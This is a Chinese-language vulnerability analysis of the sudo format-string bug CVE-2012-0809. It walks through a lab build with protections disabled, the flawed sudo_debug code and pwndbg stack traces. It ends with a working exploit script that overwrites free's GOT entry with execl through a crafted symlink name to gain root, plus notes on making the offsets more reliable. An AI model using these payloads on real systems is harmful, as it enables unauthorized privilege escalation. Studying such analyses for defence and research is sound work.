cve-2012-0809 sudo格式化字符串漏洞分析及利用
摘要
程序基本信息:
- 目标架构:x86
- 可绕过保护:NX、ASLR、canary
- 漏洞类型:格式化字符串
应用简介:
sudo
漏洞成因:
漏洞代码位于src\sudo.c
的sudo_debug
。在该函数中,程序通过库函数getprogname
获取文件名,简单拼接入fmt2
后直接通过vfprintf
打印至标准错误流。因此存在格式化字符串漏洞。
利用思路:
将后续执行的库函数free
的got表项改为execl
。
一、漏洞简介
CVE-2012-0809 是 Sudo 1.8.0 ~ 1.8.3p1 版本中的一个高危格式化字符串漏洞,攻击者可通过控制程序名(argv[0]
)实现任意代码执行,最终获取 root 权限。
二、漏洞复现
1.环境配置
操作系统:Ubuntu 20.04
架构:i386
gcc:9.4.0
编译前须安装32位依赖库。
sudo apt-get install libpam0g:i386
cd /lib/i386_linux_gnu
ln -s libpam.so.0 libpam.so
编译时关闭pie与releo,编译完成后还须对sudo进行setuid。
export CFLAGS="-no-pie -z norelro -U_FORTIFY_SOURCE -g -O2 -m32"
export LDFLAGS="-no-pie -z norelro -U_FORTIFY_SOURCE -m32"
./configure && make && sudo make install
cd src
sudo chown root:root ./sudo
sudo chmod 4755 ./sudo
2.漏洞复现
在命令中通过-D<level>
参数设置debug模式可使sudo调用sudo_debug
函数输出信息。若创建sudo可执行文件的软链接,通过软链接执行,则程序会获取软链接的文件名而非sudo。若软链接为格式化字符串,则可触发格式化字符串漏洞。
ln -s ./sudo %p-%p-%p-%p
./%p-%p-%p-%p -D9
精心构造软链接的文件名可进一步利用该漏洞,达成任意代码执行与权限提升。
ln -s ./sudo $(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$s"')
./$(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$s"') -D9 -b $(perl -e 'print "\x61\xc1\x05\x08", "\x60\xc1\x05\x08"')
三、漏洞分析
漏洞代码位于src\sudo.c
的sudo_debug
中。
/** Simple debugging/logging.*/
void
sudo_debug(int level, const char *fmt, ...)
{va_list ap;char *fmt2;if (level > debug_level)return;/* Backet fmt with program name and a newline to make it a single write */easprintf(&fmt2, "%s: %s\n", getprogname(), fmt);va_start(ap, fmt);vfprintf(stderr, fmt2, ap);va_end(ap);efree(fmt2);
}
在该函数中,程序通过库函数getprogname
获取文件名,简单拼接入fmt2
后直接通过vfprintf
打印至标准错误流。因此存在格式化字符串漏洞。
四、利用代码
可见sudo_debug
在打印信息之后会通过efree
释放fmt2的空间。efree
定义于common\alloc.c
,代码如下:
/** Wrapper for free(3) so we can depend on C89 semantics.*/
void
efree(void *ptr)
{if (ptr != NULL)free(ptr);
}
因此此处选择的利用方式为:通过格式化字符串覆写free的got表值以劫持控制流。
程序通过getprogname
获取到的文件名字符串位于堆上,难以将覆写的目标地址置于格式化字符串中,以此考虑将目标地址放在命令参数当中。在gdb 中进行调试,将断点打在vfprintf并观察栈空间,结果如下:
r -D9 -b aaaabbbb
可见成功通过命令参数将目标地址传递到了栈上。
在sudo的got表中,存在两个exec族的库函数:
pwndbg> got free
[0x805c160] free@GLIBC_2.0 -> 0x804a110 ◂— endbr32pwndbg> got exec
[0x805c248] execve@GLIBC_2.0 -> 0x804a4b0 ◂— endbr32
[0x805c28c] execl@GLIBC_2.0 -> 0x804a5c0 ◂— endbr32
execve有三个参数,分别为字符串filename,指针数组argv与指针数组envp;execl有四个参数,前三个参数分别为字符串path,字符串filename与指针数组envp,第四个参数必须为null。须根据跳转至free时的栈布局决定覆盖为哪个函数。跳转时的栈布局如下:
Breakpoint 1, 0x08053cdf in efree (ptr=0x8af59d0) at ./alloc.c:228
228 free(ptr);
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────
*EAX 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'EBX 0x805d000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x805cee8 (_DYNAMIC) ◂— 1
*ECX 0xffffffff
*EDX 0x1eEDI 0ESI 0x805da30 (sudo_settings+16) —▸ 0x8056e97 ◂— 'debug_level'EBP 0
*ESP 0xff9438e0 —▸ 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'
*EIP 0x8053cdf (efree+31) —▸ 0xff6bfce8 ◂— 0
───────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────► 0x8053cdf <efree+31> call free@plt <free@plt>ptr: 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'0x8053ce4 <efree+36> add esp, 0x100x8053ce7 <efree+39> add esp, 80x8053cea <efree+42> pop ebx0x8053ceb <efree+43> ret 0x8053cec nop 0x8053cee nop 0x8053cf0 <atobool> endbr32 0x8053cf4 <atobool+4> push esi0x8053cf5 <atobool+5> push ebx0x8053cf6 <atobool+6> call __x86.get_pc_thunk.bx <__x86.get_pc_thunk.bx>
───────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────
In file: /home/test/桌面/sudo-SUDO_1_8_2/common/alloc.c:228223 */224 void225 efree(void *ptr)226 {227 if (ptr != NULL)► 228 free(ptr);229 }
───────────────────────────────────────────[ STACK ]────────────────────────────────────────────
00:0000│ esp 0xff9438e0 —▸ 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'
01:0004│ 0xff9438e4 —▸ 0x8af59d0 ◂— 'sudo: settings: %s=%s\n'
02:0008│ 0xff9438e8 —▸ 0xff943938 —▸ 0x8056e97 ◂— 'debug_level'
03:000c│ 0xff9438ec ◂— 0
04:0010│ 0xff9438f0 —▸ 0xf7ef1db8 (stderr) —▸ 0xf7ef1c80 (_IO_2_1_stderr_) ◂— 0xfbad2887
05:0014│ 0xff9438f4 —▸ 0x8053cca (efree+10) ◂— add ebx, 0x9336
06:0018│ 0xff9438f8 —▸ 0x805d000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x805cee8 (_DYNAMIC) ◂— 1
07:001c│ 0xff9438fc —▸ 0x8051c1e (sudo_debug+110) ◂— add esp, 0x10
─────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────► 0 0x8053cdf efree+311 0x8051c1e sudo_debug+1102 0x8050947 parse_args+18153 0x804b21f main+5754 0xf7d20ed5 __libc_start_main+245
分析栈布局可知,调用free时,栈上的布局中,前两个参数均为被vfprintf
打印的调试信息fmt2
,第三个参数位于src\phase_args.c
中定义于堆上的数组sudo_settings
中:
static struct sudo_settings {const char *name;const char *value;
} sudo_settings[] = {
#define ARG_BSDAUTH_TYPE 0{ "bsdauth_type" },
#define ARG_LOGIN_CLASS 1{ "login_class" },
#define ARG_DEBUG_LEVEL 2{ "debug_level" },
//……
};
若要使用execve
,则须将第二个参数修改为字符串指针数组。但在c中,字符串指针数组同样须以null结尾。由于此处内容为文件名,此处漏洞又无法修改格式化字符串自身,因此难以将参数修改为字符串指针数组;若使用execl
,则所有参数严丝合缝,无需任何修改。因此最终选择将free
的got表修改为execl
,使其执行文件名为fmt2
内容的可执行文件。
sudo是setuid程序,在启动该程序时,进程的euid
即为0,在通过身份认证之后再通过setuid向内核申请权限,这是sudo获取权限的基础逻辑。而使用exec函数族执行程序时,只会替换执行程序,不会替换进程的euid,因此该漏洞可实现提权。验证代码如下:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>int main() {uid_t real_uid = getuid();uid_t effective_uid = geteuid();printf("Real UID (RUID): %d\n", real_uid);printf("Effective UID (EUID): %d\n", effective_uid);return 0;
}
将其编译为可执行文件,直接执行时,euid为当前用户的uid;通过该漏洞执行时,euid为0.
最终exp如下:
#!/bin/bashln -s ./sudo ./$(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$x"')
mv test $'%165c%272$hhn%27c%273$hhn%273$x: settings: %s=%s\n'
./$(perl -e 'print "%165c%272\$hhn%27c%273\$hhn%273\$x"') -D9 -b $(perl -e 'print "\x61\xc1\x05\x08", "\x60\xc1\x05\x08"')
改进思路
在将got表地址写入栈上时,无论命令行参数还是环境变量,其类型均为字符串数组,其排列均是无对齐的;并且最终目标地址与格式化字符串的偏移并非固定,也受其它参数与环境变量的影响。这导致gdb的调试结果与实际环境的运行结果往往大相径庭,最终导致需要反复尝试校准格式化字符串的参数偏移。改进思路如下:
-
假定原始输入为
[addr1][addr2][addr3][addr4]
,则可以设置四种偏移,确保整段输入中必定有一部分是对齐的,即:[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]
。上述输入中被-
分割为四段,这四段中必定有一段是四字节对齐的,因此可以利用该段对齐的输入,将got表地址写入该段,并设置偏移为该段对齐的偏移量,即可实现任意地址写入。此方法可以避免调试时须不断修改传入参数的内容以对齐的问题。 -
针对偏移不固定的问题,可以借鉴ret2shell中通过
nop
进行滑动以增加容错的方法,也将上述输入复制多分,即:[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]=[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]=[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]-[addr1][addr2][addr3][addr4]=···
通过这种方法在内存中开辟一段区域,使得格式化字符串的参数相对容易指向该区域内,如此即可大幅降低工作量。